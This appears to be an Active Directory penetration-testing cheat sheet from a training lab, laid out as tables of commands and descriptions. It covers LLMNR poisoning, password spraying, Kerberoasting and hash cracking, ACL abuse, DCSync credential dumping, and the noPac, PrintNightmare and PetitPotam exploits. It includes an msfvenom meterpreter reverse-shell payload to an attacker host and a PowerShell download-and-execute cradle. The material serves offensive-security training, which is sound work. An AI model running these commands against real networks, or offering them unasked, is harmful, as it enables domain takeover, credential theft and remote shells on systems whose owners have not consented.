Cheat-sheet
Initial Enumeration
Command | Description |
---|---|
nslookup ns1.inlanefreight.com | Used to query the domain name system and discover the IP address to domain name mapping of the target entered from a Linux-based host. |
sudo tcpdump -i ens224 | Used to start capturing network packets on the network interface proceeding the -i option a Linux-based host. |
sudo responder -I ens224 -A | Used to start responding to & analyzing LLMNR , NBT-NS and MDNS queries on the interface specified proceeding the-I option and operating in Passive Analysis mode which is activated using -A . Performed from a Linux-based host |
fping -asgq 172.16.5.0/23 | Performs a ping sweep on the specified network segment from a Linux-based host. |
sudo nmap -v -A -iL hosts.txt -oN /home/User/Documents/host-enum | Performs an nmap scan that with OS detection, version detection, script scanning, and traceroute enabled (-A ) based on a list of hosts (hosts.txt ) specified in the file proceeding -iL . Then outputs the scan results to the file specified after the -oN option. Performed from a Linux-based host |
sudo git clone https://github.com/ropnop/kerbrute.git | Uses git to clone the kerbrute tool from a Linux-based host. |
make help | Used to list compiling options that are possible with make from a Linux-based host. |
sudo make all | Used to compile a Kerbrute binary for multiple OS platforms and CPU architectures. |
./kerbrute_linux_amd64 | Used to test the chosen complied Kebrute binary from a Linux-based host. |
sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute | Used to move the Kerbrute binary to a directory can be set to be in a Linux user's path. Making it easier to use the tool. |
./kerbrute_linux_amd64 userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o kerb-results | Runs the Kerbrute tool to discover usernames in the domain (INLANEFREIGHT.LOCAL ) specified proceeding the -d option and the associated domain controller specified proceeding --dc using a wordlist and outputs (-o ) the results to a specified file. Performed from a Linux-based host. |
LLMNR/NTB-NS Poisoning
Command | Description |
---|---|
responder -h | Used to display the usage instructions and various options available in Responder from a Linux-based host. |
hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt | Uses hashcat to crack NTLMv2 (-m ) hashes that were captured by responder and saved in a file (frond_ntlmv2 ). The cracking is done based on a specified wordlist. |
Import-Module .\Inveigh.ps1 | Using the Import-Module PowerShell cmd-let to import the Windows-based tool Inveigh.ps1 . |
(Get-Command Invoke-Inveigh).Parameters | Used to output many of the options & functionality available with Invoke-Inveigh . Peformed from a Windows-based host. |
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y | Starts Inveigh on a Windows-based host with LLMNR & NBNS spoofing enabled and outputs the results to a file. |
.\Inveigh.exe | Starts the C# implementation of Inveigh from a Windows-based host. |
$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces" Get-ChildItem $regkey \ | foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose} | PowerShell script used to disable NBT-NS on a Windows host. |
Password Spraying & Password Policies
Command | Description |
---|---|
#!/bin/bash for x in {{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}} do echo $x; done | Bash script used to generate 16,079,616 possible username combinations from a Linux-based host. |
crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol | Uses CrackMapExec and valid credentials (avazquez:Password123 ) to enumerate the password policy (--pass-pol ) from a Linux-based host. |
rpcclient -U "" -N 172.16.5.5 | Uses rpcclient to discover information about the domain through SMB NULL sessions. Performed from a Linux-based host. |
rpcclient $> querydominfo | Uses rpcclient to enumerate the password policy in a target Windows domain from a Linux-based host. |
enum4linux -P 172.16.5.5 | Uses enum4linux to enumerate the password policy (-P ) in a target Windows domain from a Linux-based host. |
enum4linux-ng -P 172.16.5.5 -oA ilfreight | Uses enum4linux-ng to enumerate the password policy (-P ) in a target Windows domain from a Linux-based host, then presents the output in YAML & JSON saved in a file proceeding the -oA option. |
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" \ | grep -m 1 -B 10 pwdHistoryLength | Uses ldapsearch to enumerate the password policy in a target Windows domain from a Linux-based host. |
net accounts | Used to enumerate the password policy in a Windows domain from a Windows-based host. |
Import-Module .\PowerView.ps1 | Uses the Import-Module cmd-let to import the PowerView.ps1 tool from a Windows-based host. |
Get-DomainPolicy | Used to enumerate the password policy in a target Windows domain from a Windows-based host. |
enum4linux -U 172.16.5.5 \ | grep "user:" \ | cut -f2 -d"[" \| cut -f1 -d"]" | Uses enum4linux to discover user accounts in a target Windows domain, then leverages grep to filter the output to just display the user from a Linux-based host. |
rpcclient -U "" -N 172.16.5.5 rpcclient $> enumdomuser | Uses rpcclient to discover user accounts in a target Windows domain from a Linux-based host. |
crackmapexec smb 172.16.5.5 --users | Uses CrackMapExec to discover users (--users ) in a target Windows domain from a Linux-based host. |
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" \ | grep sAMAccountName: \ | cut -f2 -d" " | Uses ldapsearch to discover users in a target Windows doman, then filters the output using grep to show only the sAMAccountName from a Linux-based host. |
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U | Uses the python tool windapsearch.py to discover users in a target Windows domain from a Linux-based host. |
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 \ | grep Authority; done | Bash one-liner used to perform a password spraying attack using rpcclient and a list of users (valid_users.txt ) from a Linux-based host. It also filters out failed attempts to make the output cleaner. |
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1 | Uses kerbrute and a list of users (valid_users.txt ) to perform a password spraying attack against a target Windows domain from a Linux-based host. |
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 \ | grep + | Uses CrackMapExec and a list of users (valid_users.txt ) to perform a password spraying attack against a target Windows domain from a Linux-based host. It also filters out logon failures using grep . |
sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123 | Uses CrackMapExec to validate a set of credentials from a Linux-based host. |
sudo crackmapexec smb --local-auth 172.16.5.0/24 -u administrator -H 88ad09182de639ccc6579eb0849751cf \ | grep + | Uses CrackMapExec and the --local-auth flag to ensure only one login attempt is performed from a Linux-based host. This is to ensure accounts are not locked out by enforced password policies. It also filters out logon failures using grep . |
Import-Module .\DomainPasswordSpray.ps1 | Used to import the PowerShell-based tool DomainPasswordSpray.ps1 from a Windows-based host. |
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue | Performs a password spraying attack and outputs (-OutFile) the results to a specified file (spray_success ) from a Windows-based host. |
Enumerating Security Controls
Command | Description |
---|---|
Get-MpComputerStatus | PowerShell cmd-let used to check the status of Windows Defender Anti-Virus from a Windows-based host. |
Get-AppLockerPolicy -Effective \| select -ExpandProperty RuleCollections | PowerShell cmd-let used to view AppLocker policies from a Windows-based host. |
$ExecutionContext.SessionState.LanguageMode | PowerShell script used to discover the PowerShell Language Mode being used on a Windows-based host. Performed from a Windows-based host. |
Find-LAPSDelegatedGroups | A LAPSToolkit function that discovers LAPS Delegated Groups from a Windows-based host. |
Find-AdmPwdExtendedRights | A LAPSTookit function that checks the rights on each computer with LAPS enabled for any groups with read access and users with All Extended Rights . Performed from a Windows-based host. |
Get-LAPSComputers | A LAPSToolkit function that searches for computers that have LAPS enabled, discover password expiration and can discover randomized passwords. Performed from a Windows-based host. |
Credentialed Enumeration
Command | Description |
---|---|
xfreerdp /u:forend@inlanefreight.local /p:Klmcargo2 /v:172.16.5.25 | Connects to a Windows target using valid credentials. Performed from a Linux-based host. |
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users | Authenticates with a Windows target over smb using valid credentials and attempts to discover more users (--users ) in a target Windows domain. Performed from a Linux-based host. |
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups | Authenticates with a Windows target over smb using valid credentials and attempts to discover groups (--groups ) in a target Windows domain. Performed from a Linux-based host. |
sudo crackmapexec smb 172.16.5.125 -u forend -p Klmcargo2 --loggedon-users | Authenticates with a Windows target over smb using valid credentials and attempts to check for a list of logged on users (--loggedon-users ) on the target Windows host. Performed from a Linux-based host. |
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares | Authenticates with a Windows target over smb using valid credentials and attempts to discover any smb shares (--shares ). Performed from a Linux-based host. |
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share Dev-share | Authenticates with a Windows target over smb using valid credentials and utilizes the CrackMapExec module (-M ) spider_plus to go through each readable share (Dev-share ) and list all readable files. The results are outputted in JSON . Performed from a Linux-based host. |
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 | Enumerates the target Windows domain using valid credentials and lists shares & permissions available on each within the context of the valid credentials used and the target Windows host (-H ). Performed from a Linux-based host. |
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R SYSVOL --dir-only | Enumerates the target Windows domain using valid credentials and performs a recursive listing (-R ) of the specified share (SYSVOL ) and only outputs a list of directories (--dir-only ) in the share. Performed from a Linux-based host. |
rpcclient $> queryuser 0x457 | Enumerates a target user account in a Windows domain using its relative identifier (0x457 ). Performed from a Linux-based host. |
rpcclient $> enumdomusers | Discovers user accounts in a target Windows domain and their associated relative identifiers (rid ). Performed from a Linux-based host. |
psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125 | Impacket tool used to connect to the CLI of a Windows target via the ADMIN$ administrative share with valid credentials. Performed from a Linux-based host. |
wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5 | Impacket tool used to connect to the CLI of a Windows target via WMI with valid credentials. Performed from a Linux-based host. |
windapsearch.py -h | Used to display the options and functionality of windapsearch.py. Performed from a Linux-based host. |
python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p Klmcargo2 --da | Used to enumerate the domain admins group (--da ) using a valid set of credentials on a target Windows domain. Performed from a Linux-based host. |
python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p Klmcargo2 -PU | Used to perform a recursive search (-PU ) for users with nested permissions using valid credentials. Performed from a Linux-based host. |
sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all | Executes the python implementation of BloodHound (bloodhound.py ) with valid credentials and specifies a name server (-ns ) and target Windows domain (inlanefreight.local ) as well as runs all checks (-c all ). Runs using valid credentials. Performed from a Linux-based host. |
Enumeration by Living Off the Land
Command | Description |
---|---|
Get-Module | PowerShell cmd-let used to list all available modules, their version and command options from a Windows-based host. |
Import-Module ActiveDirectory | Loads the Active Directory PowerShell module from a Windows-based host. |
Get-ADDomain | PowerShell cmd-let used to gather Windows domain information from a Windows-based host. |
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | PowerShell cmd-let used to enumerate user accounts on a target Windows domain and filter by ServicePrincipalName . Performed from a Windows-based host. |
Get-ADTrust -Filter * | PowerShell cmd-let used to enumerate any trust relationships in a target Windows domain and filters by any (-Filter * ). Performed from a Windows-based host. |
Get-ADGroup -Filter * \| select name | PowerShell cmd-let used to enumerate groups in a target Windows domain and filters by the name of the group (select name ). Performed from a Windows-based host. |
Get-ADGroup -Identity "Backup Operators" | PowerShell cmd-let used to search for a specifc group (-Identity "Backup Operators" ). Performed from a Windows-based host. |
Get-ADGroupMember -Identity "Backup Operators" | PowerShell cmd-let used to discover the members of a specific group (-Identity "Backup Operators" ). Performed from a Windows-based host. |
Export-PowerViewCSV | PowerView script used to append results to a CSV file. Performed from a Windows-based host. |
ConvertTo-SID | PowerView script used to convert a User or Group name to it's SID . Performed from a Windows-based host. |
Get-DomainSPNTicket | PowerView script used to request the kerberos ticket for a specified service principal name (SPN ). Performed from a Windows-based host. |
Get-Domain | PowerView script used tol return the AD object for the current (or specified) domain. Performed from a Windows-based host. |
Get-DomainController | PowerView script used to return a list of the target domain controllers for the specified target domain. Performed from a Windows-based host. |
Get-DomainUser | PowerView script used to return all users or specific user objects in AD. Performed from a Windows-based host. |
Get-DomainComputer | PowerView script used to return all computers or specific computer objects in AD. Performed from a Windows-based host. |
Get-DomainGroup | PowerView script used to eturn all groups or specific group objects in AD. Performed from a Windows-based host. |
Get-DomainOU | PowerView script used to search for all or specific OU objects in AD. Performed from a Windows-based host. |
Find-InterestingDomainAcl | PowerView script used to find object ACLs in the domain with modification rights set to non-built in objects. Performed from a Windows-based host. |
Get-DomainGroupMember | PowerView script used to return the members of a specific domain group. Performed from a Windows-based host. |
Get-DomainFileServer | PowerView script used to return a list of servers likely functioning as file servers. Performed from a Windows-based host. |
Get-DomainDFSShare | PowerView script used to return a list of all distributed file systems for the current (or specified) domain. Performed from a Windows-based host. |
Get-DomainGPO | PowerView script used to return all GPOs or specific GPO objects in AD. Performed from a Windows-based host. |
Get-DomainPolicy | PowerView script used to return the default domain policy or the domain controller policy for the current domain. Performed from a Windows-based host. |
Get-NetLocalGroup | PowerView script used to enumerate local groups on a local or remote machine. Performed from a Windows-based host. |
Get-NetLocalGroupMember | PowerView script enumerate members of a specific local group. Performed from a Windows-based host. |
Get-NetShare | PowerView script used to return a list of open shares on a local (or a remote) machine. Performed from a Windows-based host. |
Get-NetSession | PowerView script used to return session information for the local (or a remote) machine. Performed from a Windows-based host. |
Test-AdminAccess | PowerView script used to test if the current user has administrative access to the local (or a remote) machine. Performed from a Windows-based host. |
Find-DomainUserLocation | PowerView script used to find machines where specific users are logged into. Performed from a Windows-based host. |
Find-DomainShare | PowerView script used to find reachable shares on domain machines. Performed from a Windows-based host. |
Find-InterestingDomainShareFile | PowerView script that searches for files matching specific criteria on readable shares in the domain. Performed from a Windows-based host. |
Find-LocalAdminAccess | PowerView script used to find machines on the local domain where the current user has local administrator access Performed from a Windows-based host. |
Get-DomainTrust | PowerView script that returns domain trusts for the current domain or a specified domain. Performed from a Windows-based host. |
Get-ForestTrust | PowerView script that returns all forest trusts for the current forest or a specified forest. Performed from a Windows-based host. |
Get-DomainForeignUser | PowerView script that enumerates users who are in groups outside of the user's domain. Performed from a Windows-based host. |
Get-DomainForeignGroupMember | PowerView script that enumerates groups with users outside of the group's domain and returns each foreign member. Performed from a Windows-based host. |
Get-DomainTrustMapping | PowerView script that enumerates all trusts for current domain and any others seen. Performed from a Windows-based host. |
Get-DomainGroupMember -Identity "Domain Admins" -Recurse | PowerView script used to list all the members of a target group ("Domain Admins" ) through the use of the recurse option (-Recurse ). Performed from a Windows-based host. |
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName | PowerView script used to find users on the target Windows domain that have the Service Principal Name set. Performed from a Windows-based host. |
.\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data | Runs a tool called Snaffler against a target Windows domain that finds various kinds of data in shares that the compromised account has access to. Performed from a Windows-based host. |
Transfering Files
Command | Description |
---|---|
sudo python3 -m http.server 8001 | Starts a python web server for quick hosting of files. Performed from a Linux-basd host. |
"IEX(New-Object Net.WebClient).downloadString('http://172.16.5.222/SharpHound.exe')" | PowerShell one-liner used to download a file from a web server. Performed from a Windows-based host. |
impacket-smbserver -ip 172.16.5.x -smb2support -username user -password password shared /home/administrator/Downloads/ | Starts a impacket SMB server for quick hosting of a file. Performed from a Windows-based host. |
Kerberoasting
Command | Description |
---|---|
sudo python3 -m pip install . | Used to install Impacket from inside the directory that gets cloned to the attack host. Performed from a Linux-based host. |
GetUserSPNs.py -h | Impacket tool used to display the options and functionality of GetUserSPNs.py from a Linux-based host. |
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday | Impacket tool used to get a list of SPNs on the target Windows domain from a Linux-based host. |
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request | Impacket tool used to download/request (-request ) all TGS tickets for offline processing from a Linux-based host. |
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev | Impacket tool used to download/request (-request-user ) a TGS ticket for a specific user account (sqldev ) from a Linux-based host. |
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev -outputfile sqldev_tgs | Impacket tool used to download/request a TGS ticket for a specific user account and write the ticket to a file (-outputfile sqldev_tgs ) linux-based host. |
hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt --force | Attempts to crack the Kerberos (-m 13100 ) ticket hash (sqldev_tgs ) using hashcat and a wordlist (rockyou.txt ) from a Linux-based host. |
setspn.exe -Q */* | Used to enumerate SPNs in a target Windows domain from a Windows-based host. |
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433" | PowerShell script used to download/request the TGS ticket of a specific user from a Windows-based host. |
setspn.exe -T INLANEFREIGHT.LOCAL -Q */* \| Select-String '^CN' -Context 0,1 \| % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } | Used to download/request all TGS tickets from a WIndows-based host. |
mimikatz # base64 /out:true | Mimikatz command that ensures TGS tickets are extracted in base64 format from a Windows-based host. |
kerberos::list /export | Mimikatz command used to extract the TGS tickets from a Windows-based host. |
echo "<base64 blob>" \| tr -d \\n | Used to prepare the base64 formatted TGS ticket for cracking from Linux-based host. |
cat encoded_file \| base64 -d > sqldev.kirbi | Used to output a file (encoded_file ) into a .kirbi file in base64 (base64 -d > sqldev.kirbi ) format from a Linux-based host. |
python2.7 kirbi2john.py sqldev.kirbi | Used to extract the Kerberos ticket . This also creates a file called crack_file from a Linux-based host. |
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat | Used to modify the crack_file for Hashcat from a Linux-based host. |
cat sqldev_tgs_hashcat | Used to view the prepared hash from a Linux-based host. |
hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt | Used to crack the prepared Kerberos ticket hash (sqldev_tgs_hashcat ) using a wordlist (rockyou.txt ) from a Linux-based host. |
Import-Module .\PowerView.ps1 Get-DomainUser * -spn \| select samaccountname | Uses PowerView tool to extract TGS Tickets . Performed from a Windows-based host. |
Get-DomainUser -Identity sqldev \| Get-DomainSPNTicket -Format Hashcat | PowerView tool used to download/request the TGS ticket of a specific ticket and automatically format it for Hashcat from a Windows-based host. |
Get-DomainUser * -SPN \| Get-DomainSPNTicket -Format Hashcat \| Export-Csv .\ilfreight_tgs.csv -NoTypeInformation | Exports all TGS tickets to a .CSV file (ilfreight_tgs.csv ) from a Windows-based host. |
cat .\ilfreight_tgs.csv | Used to view the contents of the .csv file from a Windows-based host. |
.\Rubeus.exe | Used to view the options and functionality possible with the tool Rubeus . Performed from a Windows-based host. |
.\Rubeus.exe kerberoast /stats | Used to check the kerberoast stats (/stats ) within the target Windows domain from a Windows-based host. |
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap | Used to request/download TGS tickets for accounts with the admin count set to 1 then formats the output in an easy to view & crack manner (/nowrap ) . Performed from a Windows-based host. |
.\Rubeus.exe kerberoast /user:testspn /nowrap | Used to request/download a TGS ticket for a specific user (/user:testspn ) the formats the output in an easy to view & crack manner (/nowrap ). Performed from a Windows-based host. |
Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes | PowerView tool used to check the msDS-SupportedEncryptionType attribute associated with a specific user account (testspn ). Performed from a Windows-based host. |
hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt | Used to attempt to crack the ticket hash using a wordlist (rockyou.txt ) from a Linux-based host . |
ACL Enumeration & Tactics
Command | Description |
---|---|
Find-InterestingDomainAcl | PowerView tool used to find object ACLs in the target Windows domain with modification rights set to non-built in objects from a Windows-based host. |
Import-Module .\PowerView.ps1 $sid = Convert-NameToSid wley | Used to import PowerView and retrieve the SID of a specific user account (wley ) from a Windows-based host. |
Get-DomainObjectACL -Identity * \| ? {$_.SecurityIdentifier -eq $sid} | Used to find all Windows domain objects that the user has rights over by mapping the user's SID to the SecurityIdentifier property from a Windows-based host. |
$guid= "00299570-246d-11d0-a768-00aa006e0529" Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * \| Select Name,DisplayName,DistinguishedName,rightsGuid \| ?{$_.rightsGuid -eq $guid} \| fl | Used to perform a reverse search & map to a GUID value from a Windows-based host. |
Get-DomainObjectACL -ResolveGUIDs -Identity * \| ? {$_.SecurityIdentifier -eq $sid} | Used to discover a domain object's ACL by performing a search based on GUID's (-ResolveGUIDs ) from a Windows-based host. |
Get-ADUser -Filter * \| Select-Object -ExpandProperty SamAccountName > ad_users.txt | Used to discover a group of user accounts in a target Windows domain and add the output to a text file (ad_users.txt ) from a Windows-based host. |
foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" \| Select-Object Path -ExpandProperty Access \| Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}} | A foreach loop used to retrieve ACL information for each domain user in a target Windows domain by feeding each list of a text file(ad_users.txt ) to the Get-ADUser cmdlet, then enumerates access rights of those users. Performed from a Windows-based host. |
$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword) | Used to create a PSCredential Object from a Windows-based host. |
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force | Used to create a SecureString Object from a Windows-based host. |
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose | PowerView tool used to change the password of a specifc user (damundsen ) on a target Windows domain from a Windows-based host. |
Get-ADGroup -Identity "Help Desk Level 1" -Properties * \| Select -ExpandProperty Members | PowerView tool used view the members of a target security group (Help Desk Level 1 ) from a Windows-based host. |
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose | PowerView tool used to add a specifc user (damundsen ) to a specific security group (Help Desk Level 1 ) in a target Windows domain from a Windows-based host. |
Get-DomainGroupMember -Identity "Help Desk Level 1" \| Select MemberName | PowerView tool used to view the members of a specific security group (Help Desk Level 1 ) and output only the username of each member (Select MemberName ) of the group from a Windows-based host. |
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose | PowerView tool used create a fake Service Principal Name given a sepecift user (adunn ) from a Windows-based host. |
Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose | PowerView tool used to remove the fake Service Principal Name created during the attack from a Windows-based host. |
Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose | PowerView tool used to remove a specific user (damundsent ) from a specific security group (Help Desk Level 1 ) from a Windows-based host. |
ConvertFrom-SddlString | PowerShell cmd-let used to covert an SDDL string into a readable format. Performed from a Windows-based host. |
DCSync
Command | Description |
---|---|
Get-DomainUser -Identity adunn \| select samaccountname,objectsid,memberof,useraccountcontrol \|fl | PowerView tool used to view the group membership of a specific user (adunn ) in a target Windows domain. Performed from a Windows-based host. |
$sid= "S-1-5-21-3842939050-3880317879-2865463114-1164" Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs \| ? { ($_.ObjectAceType -match 'Replication-Get')} \| ?{$_.SecurityIdentifier -match $sid} \| select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType \| fl | Used to create a variable called SID that is set equal to the SID of a user account. Then uses PowerView tool Get-ObjectAcl to check a specific user's replication rights. Performed from a Windows-based host. |
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 -use-vss | Impacket tool sed to extract NTLM hashes from the NTDS.dit file hosted on a target Domain Controller (172.16.5.5 ) and save the extracted hashes to an file (inlanefreight_hashes ). Performed from a Linux-based host. |
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator | Uses Mimikatz to perform a dcsync attack from a Windows-based host. |
Privileged Access
Command | Description |
---|---|
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users" | PowerView based tool to used to enumerate the Remote Desktop Users group on a Windows target (-ComputerName ACADEMY-EA-MS01 ) from a Windows-based host. |
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users" | PowerView based tool to used to enumerate the Remote Management Users group on a Windows target (-ComputerName ACADEMY-EA-MS01 ) from a Windows-based host. |
$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force | Creates a variable ($password ) set equal to the password (Klmcargo2 ) of a user from a Windows-based host. |
$cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password) | Creates a variable ($cred ) set equal to the username (forend ) and password ($password ) of a target domain account from a Windows-based host. |
Enter-PSSession -ComputerName ACADEMY-EA-DB01 -Credential $cred | Uses the PowerShell cmd-let Enter-PSSession to establish a PowerShell session with a target over the network (-ComputerName ACADEMY-EA-DB01 ) from a Windows-based host. Authenticates using credentials made in the 2 commands shown prior ($cred & $password ). |
evil-winrm -i 10.129.201.234 -u forend | Used to establish a PowerShell session with a Windows target from a Linux-based host using WinRM . |
Import-Module .\PowerUpSQL.ps1 | Used to import the PowerUpSQL tool. |
Get-SQLInstanceDomain | PowerUpSQL tool used to enumerate SQL server instances from a Windows-based host. |
Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version' | PowerUpSQL tool used to connect to connect to a SQL server and query the version (-query 'Select @@version' ) from a Windows-based host. |
mssqlclient.py | Impacket tool used to display the functionality and options provided with mssqlclient.py from a Linux-based host. |
mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth | Impacket tool used to connect to a MSSQL server from a Linux-based host. |
SQL> help | Used to display mssqlclient.py options once connected to a MSSQL server. |
SQL> enable_xp_cmdshell | Used to enable xp_cmdshell stored procedure that allows for executing OS commands via the database from a Linux-based host. |
xp_cmdshell whoami /priv | Used to enumerate rights on a system using xp_cmdshell . |
NoPac
Command | Description |
---|---|
sudo git clone https://github.com/Ridter/noPac.git | Used to clone a noPac exploit using git. Performed from a Linux-based host. |
sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap | Runs scanner.py to check if a target system is vulnerable to noPac /Sam_The_Admin from a Linux-based host. |
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap | Used to exploit the noPac /Sam_The_Admin vulnerability and gain a SYSTEM shell (-shell ). Performed from a Linux-based host. |
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator | Used to exploit the noPac /Sam_The_Admin vulnerability and perform a DCSync attack against the built-in Administrator account on a Domain Controller from a Linux-based host. |
PrintNightmare
Command | Description |
---|---|
git clone https://github.com/cube0x0/CVE-2021-1675.git | Used to clone a PrintNightmare exploit using git from a Linux-based host. |
pip3 uninstall impacket git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py install | Used to ensure the exploit author's (cube0x0 ) version of Impacket is installed. This also uninstalls any previous Impacket version on a Linux-based host. |
rpcdump.py @172.16.5.5 \| egrep 'MS-RPRN\|MS-PAR' | Used to check if a Windows target has MS-PAR & MSRPRN exposed from a Linux-based host. |
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.129.202.111 LPORT=8080 -f dll > backupscript.dll | Used to generate a DLL payload to be used by the exploit to gain a shell session. Performed from a Windows-based host. |
sudo smbserver.py -smb2support CompData /path/to/backupscript.dll | Used to create an SMB server and host a shared folder (CompData ) at the specified location on the local linux host. This can be used to host the DLL payload that the exploit will attempt to download to the host. Performed from a Linux-based host. |
sudo python3 CVE-2021-1675.py inlanefreight.local/<username>:<password>@172.16.5.5 '\\10.129.202.111\CompData\backupscript.dll' | Executes the exploit and specifies the location of the DLL payload. Performed from a Linux-based host. |
PetitPotam
Command | Description |
---|---|
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController | Impacket tool used to create an NTLM relay by specifiying the web enrollment URL for the Certificate Authority host. Perfomred from a Linux-based host. |
git clone https://github.com/topotam/PetitPotam.git | Used to clone the PetitPotam exploit using git. Performed from a Linux-based host. |
python3 PetitPotam.py 172.16.5.225 172.16.5.5 | Used to execute the PetitPotam exploit by specifying the IP address of the attack host (172.16.5.255 ) and the target Domain Controller (172.16.5.5 ). Performed from a Linux-based host. |
python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 <base64 certificate> = dc01.ccache | Uses gettgtpkinit .py to request a TGT ticket for the Domain Controller (dc01.ccache ) from a Linux-based host. |
secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL | Impacket tool used to perform a DCSync attack and retrieve one or all of the NTLM password hashes from the target Windows domain. Performed from a Linux-based host. |
klist | krb5-user command used to view the contents of the ccache file. Performed from a Linux-based host. |
